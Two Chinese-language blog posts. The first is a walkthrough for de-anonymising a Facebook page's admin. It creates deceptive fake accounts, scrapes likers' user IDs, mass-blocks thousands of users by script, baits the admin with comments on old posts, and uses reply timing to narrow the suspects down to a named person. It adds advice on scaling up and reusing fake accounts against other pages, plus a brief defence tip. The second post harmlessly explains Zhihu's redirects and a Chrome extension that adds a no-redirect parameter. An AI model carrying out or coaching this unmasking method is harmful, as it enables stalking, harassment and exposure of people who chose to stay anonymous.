今天我们来玩找 page admin 游戏。

首先, 让我们锁定某个粉丝专页当目标,比如拿我的专页来做 example la:



然后没有 Page Owners section 来看谁是 admin。



锁定目标后,现在是时候准备一些假 account, 要弄到可爱一点比较容易骗人。






 第一张图片看到是 8 个人 like。所以就用 Graph Search 看谁 like。




其实有六个人 like, 一个人 hide 掉 search, 另外两个是 unlike 没有 up to date (为了效率,Search API 通常都是 cache 的 lor)。

for 第一页, 就在  Search likers 那页 save html 在 1st_page.html, 然后丢在 manual.py 来解析出 user ids, 并储存在 userids。







跑 manual.py:



for 其它页面, 就 scroll, 然后 Copy as cURL:



paste 在 eason1.py 的 cmd, double quotes 它, 把 display_params 开头的 %22 之间的 cursor 拉出来当 global variable。加 -m 10 来 timeout,如果不要看 command 就加 -s。图中暂时 disable cmd 还有 cursor(有 cursor 方便停下来,下次继续)。至于为什么刚才要分出来第一页, 因为我很懒去写包括第一页的 code。下面是被浓缩的 eason1.py 例子:



然后给它跑,(这只是其它专页的例子, 因为我那个专页没有下一页做示范):




收集完 userids 后,我们进行下一步, 拿 block session。

你可以先打开 inspect element,然后 block 名人来拿当前 cookie 还有其它 HTTP request 需要用到的东西。


右键 Copy as cURL:



把 userids mv 去 userids1 , 然后用修改上面的 curl 的 --data double quotes uid=$uid, 放在 while block 完全部 id。不贪心, timeout 给它 -m 0.5 就可以了,足够让你以一小时 block 八千个人, 24 小时 block 192000 人。华人不多(如果目标是 taiwan 专页,没事 block 什么墨西哥人 connections),所以收集到 page admin 并非天方夜谭的事。 收集越多,成功率就越高。


例子, stderr 也算成功, 不需要等 full reply, 酱就能加快速度:



随便找几个很旧的 post, 让 admin 除了 notification/settings 之外, 正常没有常去的地方。比如这次的目标是 2011 年 3 月 9 号, 人烟稀少的地方。



然后 admin 看见 notification, 可能就会 reply。如果是 "block me if you can" 或暴力诸如此类的 comment, 就可能会去 hide/delete 或甚至 ban 掉 Eason。




酱我们现在就可以知道其中一个 page admin 不是刚才被 block 的人,所以才收到 notification, 也才能在大约三分钟内看到留言并进行 reply/hide/delete/ban。(hide 可以用其它假 account 来观察到)。

然后继续收集其它 userids, 比如专页所有的 post/comment/like 的 userids, 如下图,收集到我的 userid:



等半个小时(防止他还停留在这页 [可以同时 test 其它人烟稀少的 post,  就可忽略这个问题]),再留言过, 结果等了十年(五或十分钟内不 reply 立刻删除, 准备下一批切一半的 block 的 user ids)都没 reply:
*(不好意思,图片的时间和我讲的时间有出入)



原因在于这次 admin(林果皞) 收不到 notification, 跟没被 block 之前完全相反,甭管 Use Page as page admin 还是 林果皞 都不会收到 notification:



然后再试验没 block 林果皞之前的 user 来 comment 其它 post, 如果那个 post 很快有 reply,独留那个 post 没 reply, 反复测试,酱就达到我们要的 reliability。

这时候距离成功只是时间上的问题了, either 我开多新的 account 从 userids1 block 一半 user ids, 或直接拿我现在的 unblock 一半 user ids。然后慢慢缩小成一个人(page admin 可能几个人,所以也可同时缩成几个)就知道谁是 page admin(s) 了。

最后只剩下林果皞被 block,终于找到林果皞是这个 page 的 admin。来开香槟 :)


如果是上百万的粉丝专页就不值得 (花五天时间 block), 毕竟如果假 account 被 facebook permanent ban 就亏了之前花时间去 block(暴力 comment 比慢火蒸有效, 但如果被 facebook 系统 permanent block 就很花时间去 block 剩下的一半,没被 ban就可以  reuse 假 account 攻击其它 page 节省时间。)。取决于你的规模lor, 比如说有组织的几个人收集 user ids。反正 facebook 不去 fix 这个 bug, 你要收集一年也没关系。

如果你有可疑的几个 user id 名单, 攻击就轻而易举了。

还有一些问题要注意:
1. admin 可能没 online, 所以反复测试确保 reliability 很重要。你可能可以 message, 或用 listener 看有没有新的 post。 有就代表 admin 睡醒了,也是时候开工攻击了。

2. 上面教的人烟稀少的 post 可能找不到没有 likers/commenters, which 他们 会收到 notification 来 report kacau, 所以最好是 block 掉他们。

跟 Graph Search likers 一样,用 cursor 就可以收集那些 likers user ids 来 block。



如何 Defense:

如果看到 notification 在旧的 post,不要立刻 like/reply/hide/delete/ban。偶尔等半小时, 或等两小时, 或一天, 总之不要让 stalker 揣摩到你看 notification 的时间即可。


为什么我没有 report 给 facebook ?
我有 report,不过这个把 timing 当漏洞已经远远超过 facebook 安全团队的想象力,解释了两遍他们还是 get 不到这个漏洞其中一个关键的地方是人烟稀少的 post + timing。我偶尔会在 stackexchange 活跃,也有 report 的经验,report 文笔并不差 a。

他们给我的第二个回复竟然是可笑的 "the page admin still be able to see the content and remove it",这不是对牛弹琴是什么 ? 我解释第三遍也是多余。





[The story doesn't end yet]
事实上这个用 timing 找 page admin 的逻辑可以实现在其它地方,可以说在某个情况下是 unfixable 的,不过我忘了那个情景 (我过马路时灵光一闪想到的),都半年前的事了。


Sunday, 11 October 2015

知乎 - DIY 问题重定向

今天我们来玩重定向游戏~

logout 知乎网页。 然后浏览 http://www.zhihu.com/question/20381025

就会看见 5 秒后将会跳转信息:


五秒过后, 跳去 www.zhihu.com/question/19694728?rf=20381025:



五秒过后, 又再跳去 www.zhihu.com/question/22447061?rf=19694728:



还没跳完,五秒过后, 又再跳去 www.zhihu.com/question/20135771?rf=22447061:



五秒过后, 跳去 www.zhihu.com/question/24531839?rf=20135771:



终于跳完 liao~ 是不是很好玩叻。当然你会觉得知乎 desgin 到酱真的是。。。

为什么我要强调 logout ? 因为 login 对知乎的重定向很大影响哦。如果没有 login, 以上所有的重定向都是交给了 js 来处理。 如果有 login,第一个重定向交给 302 处理 (所以你看不见第一页, 而是直接跳到第二页。

来证明一下,login 知乎后, 然后打开  http://www.zhihu.com/question/20381025



留意 URL bar, 是不是很奇怪叻, 直接 skip 掉 20381025 跳第二页。哦, 我还没讲上述 URL 的结构。

http://www.zhihu.com/question/问题_ID?rf=上一个重定向问题_ID

就这样, rf 猜到就是 referer 的简称。

不止这个特别,还会出现从什么问题跳转过来的信息。这就是 login 的特别之处。不但 skip 掉第一个 302, 而且会留意从哪里来。

那么如果想看回重定向之前的那页怎么办 ? 只要来得及按 "从问题 xxxxx  跳转而来" 就能看回之前那页, 并且不再重定向。这种设计,用户怎么可能懂呢 ?

login 的影响 inconsistent 的 behavior 还没完。"从问题 xxxxx  跳转而来" 本身就是 URL 加上 nr=1, 即是 no-redirect 的简称。 如果你没有 login, 你看不见 "从问题 xxxxx  跳转而来" 这行字也就算了,可是如果你手动把 URL 加上 nr=1, 比如 www.zhihu.com/question/20381025?nr=1:


还是会再跳的哦, 也就是说 login 不仅仅影响 302+js 重定向以及 block 掉 rf 信息, 而且也不允许 nr 的功能。

当然我是能想到 302+js 的初衷。302 省一次重定向, 然后又不想用户完全不懂第一页的题目, 所以只 302 静悄悄重定向一次, 接下来就用 "从问题 xxxxx  跳转而来" + js 方法重定向下一页。至于为什么要 login only 就感觉像 bug 多一点。

你可能看不懂我讲什么鬼, 简单一句, 如果是 http://www.zhihu.com/question/问题_ID?rf=上一个重定向问题_ID 链接就加上 &nr=1, 改成
http://www.zhihu.com/question/问题_ID?rf=上一个重定向问题_ID&nr=1 ,如果是 http://www.zhihu.com/question/问题_ID 链接就改成 http://www.zhihu.com/question/问题_ID?nr=1, 并且在 login 的情况下,链接是不会自动重定向的哦。

接下来让我们 DIY 两种重定向规则。

先准备 google chrome 浏览器。目标是自制 chrome extension。

准备两个 file, hello_inject.js 以及 manifest.json 放在同一个 directory/folder:



hello_inject.js 源码:

chrome.webRequest.onBeforeRequest.addListener(
        function(details) {
                if (details.url && /^https?:\/\/www.zhihu.com\/question\/\d+/i.test(details.url)) {
                        var url = details.url;
                        var paramName = "nr";
                        var paramValue = "1";

                        var splitAtAnchor = url.split('#');
                        url = splitAtAnchor[0];
                        var anchor = typeof splitAtAnchor[1] === 'undefined' ? '' : '#' + splitAtAnchor[1];
                        if (url.indexOf(paramName + "=") >= 0) {
                                var prefix = url.substring(0, url.indexOf(paramName));
                                var suffix = url.substring(url.indexOf(paramName));
                                suffix = suffix.substring(suffix.indexOf("=") + 1);
                                suffix = (suffix.indexOf("&") >= 0) ? suffix.substring(suffix.indexOf("&")) : "";
                                url = prefix + paramName + "=" + paramValue + suffix;
                        }
                        else {
                                if (url.indexOf("?") < 0)
                                        url += "?" + paramName + "=" + paramValue;
                                else
                                        url += "&" + paramName + "=" + paramValue;
                        }
 
                        console.log("injected url: " + url + anchor);
                        return {redirectUrl: url + anchor};
                }
        },
        {urls: ["<all_urls>"]},
        ["blocking"]);


manifest.json 源码:

{
  "name": "URL Injector",
  "version": "1.0",
  "description": "Injet url.",
  "background": {
    "scripts": ["hello_inject.js"]
     },
   "manifest_version": 2,
   "permissions": [ "contextMenus", "storage", "webRequest", "webRequestBlocking", "tabs", "http://*/*", "https://*/*" ]
}


然后去 chrome://extensions, 右手边打勾 Developer mode, 然后按 Load unpacked extension...:


选你刚才那个 directory/folder, 按 Open:



源码有 console.log 函数, 所以要看 log 就按 background page 打开 debug 窗口,然后选 Console Tab:



login 情况下,然后浏览 http://www.zhihu.com/question/20381025



yeah, inject nr=1 成功 :)。现在每一跳问题都会自动加上 nr=1 不再跳转。当然, 必须 login 哟。

如果你不要 print log 就前面加上 // 来 comment out console.log,
//console.log("redirect url: " + url + anchor);

如果更改储存 hello_inject.js 源码文件后, 必须在 chrome://extensions/ 页面, Ctrl+r 更新 take effect。

另一种玩法是选择直接强迫它 302 redirect。原理就是依赖 login + 把 rf 丢掉。因前面研究过,我们已经懂第一页是 302, 特征就是第一页没有 rf 然后接下来有 rf。

hello_inject.js 源码:
chrome.webRequest.onBeforeRequest.addListener(
        function(details) {
                if (details.url && /^https?:\/\/www.zhihu.com\/question\//i.test(details.url)) {
                        var url = details.url;
                        var base = url.substring(0, url.indexOf("?"));
                        var queryString = url.substring(url.indexOf("?") + 1);
                        var params = queryString.split("&");
                        var valid_param = 0;
                        var invalid_param = 0;
                        for (var i = 0; i < params.length; i++) {
                                var p = params[i].split("=");
                                if ((params[i] !== p[0]) && ( p[0] == "rf" )) {
                                        invalid_param+=1;
                                } else {
                                        if (valid_param !== 0) {
                                                base+=params[i];
                                                valid_param+=1;
                                        } else {
                                                base = base + "?" + params[i];
                                        }
                                }
                        }
                        if (invalid_param !== 0) {
                                console.log("redirect base: " + base);
                                return {redirectUrl: base};
                        }
                }
        },
        {urls: ["<all_urls>"]},
        ["blocking"]);


Ctrl+r 更新 extension, login 情况下浏览 http://www.zhihu.com/question/20381025 就会直接 skip 到最后一页 24531839:




如果 Inspect element 检测, 就能看到 302 -> 307(Internal Redirect) -> 302 -> 307 -> 302 -> 307 -> 302 -> 307 skip 到最后一页 200 OK。省下中间的 download。